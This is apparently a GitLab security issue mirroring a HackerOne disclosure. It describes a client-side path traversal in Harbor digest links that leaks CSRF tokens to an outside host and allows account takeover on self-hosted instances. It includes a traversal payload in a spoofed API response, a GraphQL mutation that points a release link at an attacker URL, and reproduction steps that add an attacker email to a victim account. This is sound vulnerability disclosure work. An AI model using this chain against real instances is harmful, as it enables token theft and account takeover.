CSPT in Harbor digests links lead to CSRF token leakage and ATO on selfhosted instances
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2666352](https://hackerone.com/reports/2666352)** by `joaxcar` on 2024-08-16, assigned to `GitLab Team`: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report #### Summary Its possible to leak a CSRF token through a `Client side path traversal (CSPT)` if the victim click a link generated by a spoofed Harbor server. Given an API response like this ```json [ { "creation_time": "2024-08-09T15:07:53.614Z", "digest": "..\\..\\..\\..\\releases\\test\\downloads\\test#", "id": 1, "scan_overview": { "duration": 120, "scan_status": "Success", "severity": "High" }, "size": 2048, "tags": [ { "name": "latest", "push_time": "2024-08-09T16:00:00.000Z", "signed": false } ], "type": "IMAGE", "update_time": "2024-08-10T03:16:28.464Z" } ] ``` When visiting `/-/harbor/repositories/test/test` will result in a link that, when clicked will trigger this code snippet ```js export function getHarborTags({ requestPath, repoName, digest, page }) { const url = buildApiUrl(HARBOR_TAGS_PATH) .replace('/:request_path', requestPath) .replace(':repo_name', repoName) .replace(':digest', digest); return axios.get(url, { params: { page, }, }); } ``` And the `GET` request will end up four levels down in the URL due to the traversal. The `digest` needs to be URL encoded. As this request is made using `axios` it will contain a `x-csrf-token` header. This does not make much difference for requests on the Gitlab domain as `GET` requests are seldom state changing. However, `axios` is using `fetch` and when `fetch` encounters a redirect it will also redirect any special headers to the new location. This can be abused using [permanent release links](https://docs.gitlab.com/ee/user/project/releases/release_fields.html#permanent-links-to-release-assets) . Creating a release redirect and then pointing the `GET` request to that endpoint will leak the `x-csrf-token` to an external site (this is blocked on gitlab.com by the `connect-src` CSP but works on self hosted). With the CSRF token the attacker server can then make any requests towards the gitlab #### Steps to reproduce Note that I am just spoofing some endpoints here, a real attack could just relay all other traffic to a proper Harbor server making everything else work as normal for the user __Simple version (this one will need you to use my server)__ 1. Create a new group and a project in that group 2. Go to `https://gitlab.com/groups/GROUPNAME/-/settings/integrations/harbor/edit` 3. Add `http://137.184.41.210` as the URL, add a name, username and a 8 letter password 4. Now go to [https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases](https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases) and create a new release 9. Fill in a new tag called `test` and anything as the title. Then click create 10. Now go to [https://gitlab.com/-/graphql-explorer](https://gitlab.com/-/graphql-explorer) and put this in the query area ```graphql mutation createReleaseAssetLink($input: ReleaseAssetLinkCreateInput!) { releaseAssetLinkCreate(input: $input) { errors __typename } } ``` put this in the variables area (replace `GROUPNAME/PROJECTNAME`) ``` { "input": { "projectPath": "GROUPNAME/PROJECTNAME", "tagName": "test", "name": "x", "url": "https://factual-indecisive-foe.glitch.me/leak", "linkType": "PACKAGE", "directAssetPath": "/test" } ``` 11. Send the request, now you should be able to access your script through `https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases/test/downloads/test 12. Go to `https://factual-indecisive-foe.glitch.me/start?target=GROUPNAME/PROJECTNAME?email=attacker@example.com` replacing `GROUPNAME/PROJECTNAME` and `email` 13. On the site click the link to gitlab 14. On the gitlab page that opens up click the artifact link 15. Wait about 3 seconds 16. Go to https://gitlab.com/-/profile/emails and you should now have an attacker controlled email on your account (click remove to remove the email) __SAFE: self hosted__ The code for the attacker page is here: https://glitch.com/edit/#!/factual-indecisive-foe. Make a remix or copy it somewhere else to replicate it. But it does not do anything special just using the two parameters from step 12 To host the spoofed Harbor instance `http://137.184.41.210` host this Python server somewhere ![server.py](https://h1.sec.gitlab.net/a/6f7bebb1-c921-4cbe-9d71-3807c6320616/server.py) Its possible to test the POC on gitlab.com if you use a rewrite rule that removes the CSP: 1. `^Content\-Security\-Policy.*$` to empty string (regexp match) The first one will enable the UI on Gitlab.com and the second one will remove the CSP mimicking the defaults on self hosted servers #### Video POC ![Screen_Recording_2024-08-16_at_12.20.15.mov](https://h1.sec.gitlab.net/a/884b1c66-f0ac-4e2c-b1ef-2a6b9d6e3ac0/Screen_Recording_2024-08-16_at_12.20.15.mov) #### Impact Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account. Its a bit hard to asses this with CVSS, I understand if its put as `C` and `I` `Low` as with no CSP XSS. If you alter the other parameters too much, it gets really low, and it's still an ATO on self-hosted instances, so I hope you can take that into consideration when assessing `complexity` and `scope,` for example. It would, for example, be possible to abuse a compromised Harbor server without any prior access to the GitLab instance. #### What is the current *bug* behavior? Path traversal in the artifact links #### What is the expected *correct* behavior? Artifact links should not be able to have path traversals. #### Impact Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [Screen_Recording_2024-08-16_at_12.20.15.mov](https://h1.sec.gitlab.net/a/884b1c66-f0ac-4e2c-b1ef-2a6b9d6e3ac0/Screen_Recording_2024-08-16_at_12.20.15.mov) * [server.py](https://h1.sec.gitlab.net/a/6f7bebb1-c921-4cbe-9d71-3807c6320616/server.py) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue